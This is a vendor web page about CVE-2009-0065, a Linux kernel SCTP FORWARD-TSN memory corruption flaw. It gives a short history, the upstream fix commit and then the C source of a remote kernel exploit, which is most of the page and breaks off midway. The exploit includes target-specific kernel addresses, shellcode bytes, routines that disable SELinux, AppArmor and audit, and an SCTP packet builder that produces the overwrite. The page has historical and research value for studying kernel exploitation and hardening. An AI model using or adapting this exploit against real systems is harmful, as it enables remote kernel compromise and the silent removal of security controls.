Linux Kernel SCTP FORWARD-TSN Chunk Memory Corruption Remote Exploit
Table of contents
- Published on:
- 2009-07-01 00:00:00 +0000 UTC
- Last modified:
- 2022-08-22 10:00:56 +0000 UTC
Background
- The vulnerability existed for quite some time in the SCTP implementation in the Linux kernel.
- Honoring the tradition of downplaying the severity of vulnerabilities, the Linux kernel maintainers pushed a decidedly deceptive narrative to the customer base of the kernel.
- The vulnerability was assigned CVE-2009-0065, after being disclosed on 01/07/2009 by sgrakkyu.
- Google Translate from “Linux kernel security English” to “Plain English” for “an unknown impact” turned out to be “arbitrary remote code execution in kernel context”.
- Our resident exploit curator wrote what was possibly the longest remote Linux kernel exploit at the time. sgrakkyu’s targets were reused, and his version is absolutely worth reading (and his credentials as an excellent Linux kernel ab- researcher are well established).
- That exploit in redacted form (one information leak technique removed, besides other minor edits) is now listed in this page for your amusement, dear reader.
Refer to sgrakkyu’s excellent post. and consider buying “A Guide to Kernel Exploitation: Attacking the Core Book” by Enrico Perla and Massimiliano Oldani, a seminal work in the fringe field of kernel exploitation, by two of the finest.
The commit for the actual fix is not terribly deceptive, but there is no mention to the security implications.
sctp: Avoid memory overflow while FWD-TSN chunk is received with bad stream ID
If FWD-TSN chunk is received with bad stream ID, the sctp will not do the
validity check, this may cause memory overflow when overwrite the TSN of
the stream ID.
The FORWARD-TSN chunk is like this:
FORWARD-TSN chunk
Type = 192
Flags = 0
Length = 172
NewTSN = 99
Stream = 10000
StreamSequence = 0xFFFF
This patch fix this problem by discard the chunk if stream ID is not
less than MIS.
Signed-off-by: Wei Yongjun <[email protected]>
Signed-off-by: Vlad Yasevich <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
Sometimes, being told in advance that you can be targeted with a remote kernel exploit, truly is too much to ask.
:-)
Little known facts
- This was one of the first vulnerabilities we used to demonstrate and test our KERNHEAP (and future DYMASEC) work in hardening the Linux kernel heap (SLAB, SLUB and friends).
- Approximately a decade later, individuals with no experience or history in offensive security (ex. exploit development) tried replicating the KERNHEAP and grsecurity’s work… unsuccessfully.
- Imitation is still the most sincere form of flattery.
- But only if it works. :-)
Our version
Output
Usage: ./sctp_thermite -s SOURCE -p SPORT -H TARGET -P PORT -t TARGET
Example: ./sctp_thermite -s 192.168.1.67 -d 192.168.1.12 -p 4200 -t 0
Copyright (c) 2009 Subreption LLC. All rights reserved.
Available (supported) targets:
[0] Linux <= 2.6.28-git8
Name: Debug target (write to 0xdeadbeef)
Flags: 0x00020220
Arch: x86_64 (SLUB allocator)
Is a debug target (trigger overflow only).
[1] fedora64_10-2.6.25-117
Name: Fedora Core 10 (default 64-bit kernel)
Flags: 0x00025210
Arch: x86_64 (SLUB allocator)
Supported features:
Is a 64-bit target.
Disables SELinux enforcement mode.
Disables audit subsystem.
[2] opensuse64_11.1-2.6.27.7-9-default
Name: OpenSUSE 11.1 (default 64-bit kernel)
Flags: 0x00026110
Arch: x86_64 (SLAB allocator)
Supported features:
Is a 64-bit target.
Disables AppArmor.
Disables audit subsystem.
Source code (C)
1/*
2 * Copyright (c) 2009-2010 Subreption LLC. All rights reserved.
3 * Copyright (c) -since Linus merged this, dunno- vogelfrei. All panache reserved.
4 *
5 * Description:
6 * Remote Linux kernel exploit for the FORWARD-TSN chunk overflow. The x86_64
7 * targets, shellcode and jumps are based off sgraykku's superb exploit (sctp_houdini).
8 * On those supported targets, the exploit disables SELinux/AppArmor and the
9 * audit subsystem altogether.
10 *
11 * Compile with: gcc -Wall -pthread sctp_thermite.c -o sctp_thermite
12 *
13 * Functional but opinionated:
14 * - generic offset-less x86_64 target against local controlled listener
15 * (get address of vsyscall target, send back to us, send payload)
16 * - restore the old x86 local target (uses ipc sem technique)
17 * TODO:
18 * - sparc(64)/mips targets for pranking spender and ensuing hilarity
19 * - cleanups, check for trailing whitespace, etc
20 *
21 * Debugging:
22 * Set up VMware guest debugging, copy vmlinux and sctp.o over to remote
23 * debugging host. set remote target to IP:8832, load-symbol-info with
24 * sctp.o and address from /proc/modules. Set first breakpoint at
25 * sctp_sf_eat_fwd_tsn(), continue and execute exploit.
26 *
27 * "True Force. All King's Men cannot put it back together again."
28 */
29
30#include <stdio.h>
31#include <stdlib.h>
32#include <errno.h>
33#include <netdb.h>
34#include <fcntl.h>
35#include <unistd.h>
36#include <pthread.h>
37#include <string.h>
38#include <linux/socket.h>
39#include <linux/types.h>
40#include <linux/if_ether.h>
41#include <linux/if_packet.h>
42#include <arpa/inet.h>
43#include <sys/uio.h>
44#include <sys/ioctl.h>
45#include <sys/types.h>
46#include <sys/socket.h>
47#include <netinet/tcp.h>
48#include <netinet/ip.h>
49#include <netinet/in.h>
50#include <net/if.h>
51
52/* Target flags */
53#define TARGET_FLAG_64BIT 0x00000010UL
54#define TARGET_FLAG_DEBUG 0x00000020UL
55#define TARGET_FLAG_SLAB 0x00000100UL
56#define TARGET_FLAG_SLUB 0x00000200UL
57#define TARGET_FLAG_SLOB 0x00000400UL
58#define TARGET_FLAG_SELINUX 0x00001000UL
59#define TARGET_FLAG_APPARMOR 0x00002000UL
60#define TARGET_FLAG_AUDITOFF 0x00004000UL
61#define TARGET_FLAG_LSMDISABLE 0x00008000UL
62#define TARGET_ARCH_X86 0x00010000UL
63#define TARGET_ARCH_X86_64 0x00020000UL
64
65/* Misc. definitions and values */
66#define MAX_KMALLOC_SIZE 131072
67#define MAX_STREAMS (MAX_KMALLOC_SIZE/(sizeof(__u16)*2))
68#define SSN_ARITHMETIC_SHIFT 0x7FFFU
69
70/* Chunk IDs */
71#define SCTP_CID_INIT 0x01
72#define SCTP_CID_INIT_ACK 0x02
73#define SCTP_CID_COOKIE_ECHO 0x0a
74#define SCTP_CID_COOKIE_ACK 0x0b
75#define SCTP_CID_FWD_TSN 0xC0
76/* Parameters */
77#define SCTP_PARAM_FWD_TSN_SUPPORT htons(0xc000)
78#define SCTP_PARAM_STATE_COOKIE htons(7)
79#define SCTP_PARAM_SUPPORTED_ADDRESS_TYPES htons(12)
80/* SCTP CRC32c */
81#define SCTP_CRC32C_POLY 0x1EDC6F41
82#define SCTP_CRC32C(c, d) (c = ((c) >> 8) ^ \
83 sctp_crc_c[((c)^(d)) & 0xFF])
84
85/*
86 * Common headers and structures
87 */
88
89typedef struct sctphdr {
90 __be16 source;
91 __be16 dest;
92 __be32 vtag;
93 __be32 checksum;
94} __attribute__((packed)) sctp_sctphdr_t;
95
96typedef struct sctp_chunkhdr {
97 __u8 type;
98 __u8 flags;
99 __be16 length;
100} __attribute__((packed)) sctp_chunkhdr_t;
101
102typedef struct sctp_fwdtsn_skip {
103 __be16 id; /* stream */
104 __be16 ssn;
105} __attribute__((packed)) ssnmap_t;
106
107struct sctp_fwdtsn_hdr {
108 __be32 new_cum_tsn;
109 struct sctp_fwdtsn_skip skip[0];
110} __attribute((packed));
111
112typedef struct sctp_inithdr {
113 __be32 init_tag;
114 __be32 a_rwnd;
115 __be16 num_outbound_streams;
116 __be16 num_inbound_streams;
117 __be32 initial_tsn;
118 __u8 params[0];
119} __attribute__((packed)) sctp_inithdr_t;
120
121typedef struct sctp_paramhdr {
122 __be16 type;
123 __be16 length;
124} __attribute__((packed)) sctp_paramhdr_t;
125
126typedef struct sctp_param_saddrtypes {
127 struct sctp_paramhdr paramhdr;
128 __be16 types;
129} __attribute__((packed)) sctp_param_saddrtypes_t;
130
131typedef struct initack_args {
132 unsigned char *buf;
133 size_t buflen;
134 unsigned char *cookie;
135 __u16 cookielen;
136 __u32 init_tag;
137 __u32 tsn;
138} __attribute__((packed)) initack_args_t;
139
140/*
141 * Structures that hold target information.
142 */
143
144typedef struct opts32 {
145 unsigned long slubsize;
146 unsigned long chunksize;
147 unsigned long secdisable[10];
148} opts32_t;
149
150typedef struct opts64 {
151 unsigned long long vsyscall_addr;
152 const unsigned char *vsyscall_jmp;
153 const __u32 jmpsize;
154 const unsigned char *patchjmp;
155 const __u32 patchlen;
156 const __u32 chunksize;
157 const __u32 slubsize;
158 /* SELinux, AppArmor, audit subsystem */
159 unsigned long long secdisable[10];
160} opts64_t;
161
162typedef struct target_info {
163 char *name;
164 char *kernel;
165 unsigned long flags;
166} target_info_t;
167
168typedef struct conn_info {
169 size_t linkskip;
170 int sock;
171 int rcvsock;
172 char *srchost;
173 int srcport;
174 char *dsthost;
175 int dstport;
176 int flush_conns;
177 struct sockaddr_in srcaddr;
178 struct sockaddr_in dstaddr;
179
180 /* SCTP specific */
181 __u32 in_vtag;
182 __u32 out_vtag;
183 __u32 tsn;
184 __u16 ssn_inbound;
185 __u16 ssn_outbound;
186 ssnmap_t streams[MAX_STREAMS];
187 initack_args_t initack;
188} conn_info_t;
189
190typedef struct target {
191 struct target_info info;
192 struct conn_info *state;
193 void *opts;
194} target_t;
195
196/*
197 * Global variables
198 */
199
200static int verbose = 0;
201static unsigned char x86_64_jmp[] = "\xe9\x2b\x09\x00\x00\x90";
202static unsigned char x86_64_patchjmp[] = "\x48\x31\xc0\xb0\x60\x0f\x05\xc3";
203
204/* Per-target settings */
205
206static opts64_t x86_64_dbg_opts = {
207 0xFFFFFFFFDEADBEEFULL, (unsigned char *) &x86_64_jmp[0],
208 sizeof(x86_64_jmp) - 1, (unsigned char *) &x86_64_patchjmp[0],
209 sizeof(x86_64_patchjmp) - 1, 40, 96, { 0ULL, 0ULL, 0ULL }
210};
211
212static opts64_t fedora64_10_2625_117 = {
213 0xFFFFFFFF81571000ULL, /* vsyscall_addr */
214 (unsigned char *) &x86_64_jmp[0], /* vsyscall_jmp */
215 sizeof(x86_64_jmp) - 1, /* jmpsize */
216 (unsigned char *) &x86_64_patchjmp[0], /* patchjmp */
217 sizeof(x86_64_patchjmp) - 1, /* patchlen */
218 40, 96, /* chunksize, slubsize */
219 /* security_disable addresses */
220 {
221 0xFFFFFFFF817CE684ULL, /* SElinux (selinux_enforcing) */
222 0xFFFFFFFF817D1B48ULL, /* SElinux MLS (selinux_mls_enabled) */
223 0xFFFFFFFF8178E434ULL, /* Audit (audit_enabled) */
224 0xFFFFFFFF8178E438ULL, /* Audit (audit_ever_enabled) */
225 0x0000000000000000ULL, /* AppArmor (unused here) */
226 0xFFFFFFFF814C2810ULL /* LSM secdummy_ops */
227 }
228};
229
230static opts64_t opensuse64_11_1_2627_default = {
231 0xFFFFFFFF808E1000ULL,
232 (unsigned char *) &x86_64_jmp[0], sizeof(x86_64_jmp) - 1,
233 (unsigned char *) &x86_64_patchjmp[0], sizeof(x86_64_patchjmp) - 1,
234 40, 256, {0x0000000000000000ULL, 0x0000000000000000ULL, 0x0000000000000000ULL}
235};
236
237static struct target supported_targets[] = {
238 /* debug target */
239 {
240 {
241 "Debug target (write to 0xdeadbeef)",
242 "Linux <= 2.6.28-git8",
243 TARGET_ARCH_X86_64|TARGET_FLAG_DEBUG|TARGET_FLAG_SLUB
244 },
245 NULL, &x86_64_dbg_opts
246 },
247 /* default installation of fedora core 10 */
248 {
249 {
250 "Fedora Core 10 (default 64-bit kernel)",
251 "fedora64_10-2.6.25-117",
252 TARGET_FLAG_64BIT|TARGET_ARCH_X86_64|TARGET_FLAG_SLUB|
253 TARGET_FLAG_SELINUX|TARGET_FLAG_AUDITOFF
254 },
255 NULL, &fedora64_10_2625_117
256 },
257 {
258 {
259 "OpenSUSE 11.1 (default 64-bit kernel)",
260 "opensuse64_11.1-2.6.27.7-9-default",
261 TARGET_FLAG_64BIT|TARGET_ARCH_X86_64|TARGET_FLAG_SLAB|
262 TARGET_FLAG_APPARMOR|TARGET_FLAG_AUDITOFF
263 },
264 NULL, &opensuse64_11_1_2627_default
265 },
266 {{NULL, NULL, 0}, NULL, NULL}
267};
268
269/*
270 * SCTP CRC32c checksum calculation code - taken from KAME (BSD License)
271 * The final function has been modified to fit our purposes since we don't deal
272 * with the convoluted mbuf related code they use.
273 */
274
275static unsigned long sctp_crc_c[256] = {
276 0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L,
277 0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL,
278 0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL,
279 0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L,
280 0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL,
281 0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L,
282 0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L,
283 0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL,
284 0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL,
285 0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L,
286 0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L,
287 0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL,
288 0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L,
289 0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL,
290 0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL,
291 0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L,
292 0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L,
293 0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L,
294 0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L,
295 0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L,
296 0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L,
297 0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L,
298 0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L,
299 0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L,
300 0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L,
301 0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L,
302 0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L,
303 0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L,
304 0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L,
305 0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L,
306 0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L,
307 0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L,
308 0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL,
309 0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L,
310 0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L,
311 0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL,
312 0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L,
313 0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL,
314 0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL,
315 0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L,
316 0xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L,
317 0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL,
318 0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL,
319 0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L,
320 0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL,
321 0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L,
322 0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L,
323 0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL,
324 0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L,
325 0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL,
326 0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL,
327 0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L,
328 0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL,
329 0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L,
330 0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L,
331 0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL,
332 0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL,
333 0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L,
334 0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L,
335 0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL,
336 0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L,
337 0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL,
338 0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL,
339 0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L,
340};
341
342uint32_t update_crc32(u_int32_t crc32, unsigned char *buffer,
343 unsigned int length)
344{
345 unsigned int i;
346
347 for (i = 0; i < length; i++)
348 SCTP_CRC32C(crc32, buffer[i]);
349
350 return (crc32);
351}
352
353uint32_t sctp_csum_finalize(u_int32_t crc32)
354{
355 u_int32_t result;
356#if BYTE_ORDER == BIG_ENDIAN
357 u_int8_t byte0, byte1, byte2, byte3;
358#endif
359 result = ~crc32;
360#if BYTE_ORDER == BIG_ENDIAN
361 byte0 = result & 0x000000ff;
362 byte1 = (result >> 8) & 0x000000ff;
363 byte2 = (result >> 16) & 0x000000ff;
364 byte3 = (result >> 24) & 0x000000ff;
365 result = ((byte0 << 24) | (byte1 << 16) | (byte2 << 8) | byte3);
366 crc32 = htonl(result);
367#else
368 crc32 = result;
369#endif
370 return (crc32);
371}
372
373uint32_t sctp_calculate_sum(unsigned char *pkt, size_t pktlen)
374{
375 uint32_t base = 0xffffffff;
376
377 base = update_crc32(base, pkt, pktlen);
378 base = sctp_csum_finalize(base);
379
380 return base;
381}
382
383/*
384 * Simple memory wipe function
385 */
386
387static inline void wipe(void *buf, size_t len)
388{
389 memset(buf, 0xff, len);
390 memset(buf, 0xaa, len);
391 memset(buf, 0x00, len);
392}
393
394static inline void wfree(void *buf, size_t len)
395{
396 wipe(buf, len);
397 free(buf);
398}
399
400/*
401 * Resolve-to-sockaddr function, blatantly stolen from ancient hping code.
402 */
403int resolver(struct sockaddr_in * addr, char *hostname)
404{
405 int err = 0;
406 struct sockaddr_in *address;
407 struct hostent *host;
408
409 address = (struct sockaddr_in *) addr;
410
411 memset((char *) address, 0, sizeof(struct sockaddr_in));
412
413 address->sin_family = AF_INET;
414 address->sin_addr.s_addr = inet_addr(hostname);
415
416 if ((int) address->sin_addr.s_addr == -1) {
417 host = gethostbyname(hostname);
418 if (host) {
419 memcpy((char *) &address->sin_addr, host->h_addr, host->h_length);
420 } else
421 return -1;
422 }
423
424 return err;
425}
426
427/*
428 * State initialization and removal functions.
429 */
430
431static inline struct conn_info *init_new_state(void)
432{
433 struct conn_info *state = NULL;
434
435 state = malloc(sizeof(struct conn_info));
436 if (state == NULL) {
437 perror("malloc");
438 return NULL;
439 }
440
441 memset(state, 0, sizeof(struct conn_info));
442
443 state->sock = -1;
444 state->rcvsock = -1;
445 state->linkskip = 0;
446
447 return state;
448}
449
450static int setup_state_sockets(struct conn_info *state)
451{
452 int opt = 1;
453 struct sockaddr_in rcvaddr;
454
455 state->sock = socket(PF_INET, SOCK_RAW, IPPROTO_SCTP);
456 if (state->sock < 0) {
457 perror("socket");
458 fprintf(stderr, "[!] failed to open raw socket.\n");
459 return -1;
460 }
461
462 state->rcvsock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
463 if (state->rcvsock < 0) {
464 perror("socket");
465 fprintf(stderr, "[!] failed to open reception socket.\n");
466 close(state->sock);
467 return -1;
468 }
469
470 if (setsockopt(state->rcvsock, SOL_SOCKET, SO_REUSEADDR, (char *) &opt,
471 sizeof(opt)) < 0) {
472 perror("setsockopt");
473 close(state->sock);
474 close(state->rcvsock);
475 return -1;
476 }
477
478 memset(&rcvaddr, 0, sizeof(rcvaddr));
479
480 rcvaddr.sin_family = AF_INET;
481 rcvaddr.sin_addr.s_addr = INADDR_ANY;
482 rcvaddr.sin_port = htons(state->srcport);
483
484 if (bind(state->rcvsock, (struct sockaddr *) &rcvaddr, sizeof(rcvaddr)) < 0) {
485 perror("bind");
486 fprintf(stderr, "[!] failed to bind reception socket.\n");
487 close(state->sock);
488 close(state->rcvsock);
489 return -1;
490 }
491
492 return 0;
493}
494
495static inline void close_state_sockets(struct conn_info *state)
496{
497 if (state->sock > 0)
498 close(state->sock);
499
500 if (state->rcvsock > 0)
501 close(state->rcvsock);
502}
503
504static inline void remove_state(struct conn_info *state)
505{
506 close_state_sockets(state);
507 wfree(state, sizeof(struct conn_info));
508}
509
510/*
511 * Pattern fill buffer. Use for debugging purposes if playing with payload.
512 */
513
514static inline void patternfill(void *buf, size_t len, unsigned char b)
515{
516 size_t i = 0;
517
518 for (i = 0; i < len; i++) {
519 ((unsigned char *) buf)[i] = b;
520 (int) b++;
521 }
522}
523
524/*
525 * Print hex output of buffer (with offsets), to stdout.
526 */
527
528void hexdump(unsigned char *buf, size_t len)
529{
530 unsigned int i = 0;
531 unsigned int off = 0;
532
533 printf(" | %04d ", off);
534
535 for (i = 0; i < len; i++) {
536 if (i && !(i % 16)) {
537 printf(" |\n");
538 off += 16;
539 printf(" | %04d ", off);
540 }
541
542 printf(" %02X", buf[i]);
543
544 if (i == len-1)
545 printf("\n");
546 }
547}
548
549/*
550 * Retrieve a random seed from the kernel PRNG.
551 */
552
553unsigned long randseed(void)
554{
555 int fd = -1;
556 ssize_t len = sizeof(unsigned long);
557 unsigned long seed = 0;
558
559 srandom(time(NULL));
560 seed = random() % 0xFFFFFFFF;
561
562 fd = open("/dev/urandom", O_RDONLY|O_NONBLOCK);
563 if (fd < 0)
564 return seed;
565
566 len = read(fd, &seed, sizeof(unsigned long));
567 if (len < (ssize_t) sizeof(unsigned long))
568 return seed;
569
570 close(fd);
571
572 return seed;
573}
574
575static const char *arch_name(unsigned long flag)
576{
577 const char *name = "Unknown?";
578
579 if ((flag & TARGET_ARCH_X86_64) ||
580 ((flag & TARGET_ARCH_X86) && (flag & TARGET_FLAG_64BIT)))
581 name = "x86_64";
582
583 if (flag & TARGET_ARCH_X86)
584 name = "i386";
585
586 return name;
587}
588
589
590static const char *allocator_name(unsigned long flag)
591{
592 const char *name = "Unknown?";
593
594 if (flag & TARGET_FLAG_SLUB)
595 name = "SLUB";
596
597 if (flag & TARGET_FLAG_SLAB)
598 name = "SLAB";
599
600 return name;
601}
602
603/*
604 * Check that the packet contains a specific chunk. Assumes packet length is
605 * enough to hold all the expected structures, thus you must check that in the
606 * caller.
607 */
608
609static inline int pkt_has_sctp_chunk(unsigned char *buf, __u8 type)
610{
611 struct sctp_chunkhdr *chunkhdr = NULL;
612
613 chunkhdr = (struct sctp_chunkhdr *) (buf + (sizeof(struct iphdr) +
614 sizeof(struct sctphdr)));
615
616 if (chunkhdr->type == type)
617 return 1;
618
619 return 0;
620}
621
622/*
623 * Sends a SCTP packet.
624 */
625
626int send_sctp_packet(target_t *target, unsigned char *buf, size_t buflen)
627{
628 int err = 0;
629 int sock = target->state->sock;
630 uint32_t vtag = target->state->out_vtag;
631 short srcport = target->state->srcport;
632 short dstport = target->state->dstport;
633 size_t pktlen = 0;
634 unsigned char *pkt = NULL;
635 struct sockaddr *dstaddr = (struct sockaddr *) &target->state->dstaddr;
636 struct sctphdr *sctph = NULL;
637
638 pktlen = buflen + sizeof(struct sctphdr);
639
640 pkt = malloc(pktlen);
641 if (pkt == NULL) {
642 perror("malloc");
643 return -1;
644 }
645
646 memset(pkt, 0, pktlen);
647 memcpy(pkt + sizeof(struct sctphdr), buf, buflen);
648
649 /* Prepare the SCTP common header */
650 sctph = (struct sctphdr *) pkt;
651 sctph->source = htons(srcport);
652 sctph->dest = htons(dstport);
653 sctph->vtag = htonl(vtag);
654 sctph->checksum = sctp_calculate_sum(pkt, pktlen);
655
656 memcpy(pkt + sizeof(struct sctphdr), buf, buflen);
657
658 err = sendto(sock, pkt, pktlen, 0, (struct sockaddr *) dstaddr,
659 sizeof(struct sockaddr));
660 if (err < 0 && errno != EINTR) {
661 perror("sendto");
662 wipe(pkt, pktlen);
663 free(pkt);
664 return -1;
665 }
666
667 if (verbose)
668 fprintf(stdout, "[+] Sent SCTP packet (%u bytes, vtag 0x%08X, crc 0x%08X)\n",
669 pktlen, ntohl(sctph->vtag), ntohl(sctph->checksum));
670
671 wipe(pkt, pktlen);
672 free(pkt);
673
674 return err;
675}
676
677/*
678 * Prepares a SCTP chunk and sends it in the specified socket with given vtag,
679 * and flags.
680 */
681
682int send_sctp_chunk(target_t *target, unsigned char *buf, size_t buflen,
683 __u8 type, __u8 flags)
684{
685 int err = 0;
686 __u32 vtag = 0;
687 size_t chunklen = buflen + sizeof(struct sctp_chunkhdr);
688 unsigned char *data = NULL;
689 struct sctp_chunkhdr *chunkhdr = NULL;
690
691 data = malloc(chunklen);
692 if (data == NULL) {
693 perror("malloc");
694 return -1;
695 }
696
697 memset(data, 0, chunklen);
698
699 /* Setup common chunk header */
700 chunkhdr = (struct sctp_chunkhdr *) data;
701 chunkhdr->type = type;
702 chunkhdr->flags = flags;
703 chunkhdr->length = htons(buflen + sizeof(struct sctp_chunkhdr));
704
705 memcpy(data + sizeof(struct sctp_chunkhdr), buf, buflen);
706
707 /* INIT chunks must have a zero vtag, store old value at vtag */
708 if (type == SCTP_CID_INIT) {
709 vtag = target->state->out_vtag;
710 target->state->out_vtag = 0;
711 }
712
713 err = send_sctp_packet(target, data, chunklen);
714 if (err < 0) {
715 fprintf(stderr, "[!] failed to send chunk! type=%d length=%u\n", type,
716 buflen);
717 wipe(chunkhdr, chunklen);
718 free(chunkhdr);
719 return -1;
720 }
721
722 wipe(chunkhdr, chunklen);
723 free(chunkhdr);
724
725 /* restore saved value after INIT chunk */
726 if (type == SCTP_CID_INIT)
727 target->state->out_vtag = vtag;
728
729 return err;
730}
731
732/*
733 * Prepares a SSN payload to trigger the memory overwrite. We write a short to
734 * memory pointed: stream->ssn[id] = ssn+1;
735 */
736
737static int make_ssn_payload(target_t *t, void *buf, size_t len, __u16 fc)
738{
739 conn_info_t *state = t->state;
740 size_t maplen = (MAX_STREAMS * sizeof(__u16)) * 2;
741 unsigned int ssnlen = len / 2;
742 unsigned int i = 0;
743 int x = 0;
744 int k = 0;
745 __u16 *shift = 0;
746 __u16 *p = NULL;
747 __u16 shift_0_to_7fff[3] = { 0x7FFFU, 0xFFFEU, 0x0000U };
748 __u16 shift_8000_to_ffff[3] = { 0xFFFFU, 0x7FFEU, 0x8000U };
749
750 if (len % 2) {
751 fprintf(stderr, "[!] alignment error for ssn stream (%u).\n", len);
752 return -1;
753 }
754
755 if (len > maplen) {
756 fprintf(stderr, "[!] ssnmap size %u < buffer size %u.\n", maplen, len);
757 return -1;
758 }
759
760 memset(state->streams, 0, maplen);
761 p = (__u16 *) buf;
762
763 for (i = 0; i < ssnlen; i++, p++, fc++)
764 {
765 /*
766 * We have to take care of the addition done to the ssn:
767 * stream->ssn[id] = ssn+1;
768 */
769 __u16 c = *p - 1;
770
771 if (c <= SSN_ARITHMETIC_SHIFT)
772 shift = shift_0_to_7fff;
773 else
774 shift = shift_8000_to_ffff;
775
776 for (k = 0; k < 3; k++) {
777 state->streams[x].id = htons(fc);
778 state->streams[x++].ssn = htons(shift[k]);
779 }
780
781 state->streams[x].id = htons(fc);
782 state->streams[x++].ssn = htons(c);
783 }
784
785 if (verbose)
786 fprintf(stdout, "[*] SSN stream ready (max. %u, len %u, ret %u).\n",
787 MAX_STREAMS, ssnlen, x);
788
789 return x ? x : 0;
790}
791
792/*
793 * Prepares a SCTP FORWARD-TSN chunk containing a memory overwrite pattern.
794 */
795
796int send_sctp_fwdtsnchunk(target_t *target, int nstreams, __u32 tsn)
797{
798 int err = 0;
799 size_t datalen = sizeof(struct sctp_fwdtsn_hdr);
800 unsigned char *data = NULL;
801 conn_info_t *state = target->state;
802 struct sctp_fwdtsn_hdr *fwdtsn_hdr = NULL;
803
804 datalen += nstreams * sizeof(struct sctp_fwdtsn_skip);
805
806 data = malloc(datalen);
807 if (data == NULL) {
808 perror("malloc");
809 return -1;
810 }
811
812 memset(data, 0, datalen);
813
814 fwdtsn_hdr = (struct sctp_fwdtsn_hdr *) data;
815 fwdtsn_hdr->new_cum_tsn = htonl(tsn);
816
817 memcpy(data + sizeof(struct sctp_fwdtsn_hdr), state->streams,
818 nstreams * sizeof(struct sctp_fwdtsn_skip));
819
820 send_sctp_chunk(target, (unsigned char *) data, datalen, SCTP_CID_FWD_TSN, 0);
821
822 wipe(data, datalen);
823 free(data);
824
825 return err;
826}
827
828/*
829 * Prepares a SCTP INIT chunk containing new association settings.
830 */
831int send_sctp_initchunk(target_t *target)
832{
833 int err = 0;
834 size_t datalen = 0;
835 unsigned char *data = NULL;
836 unsigned char *pos = NULL;
837 conn_info_t *state = target->state;
838 struct sctp_inithdr *inithdr = NULL;
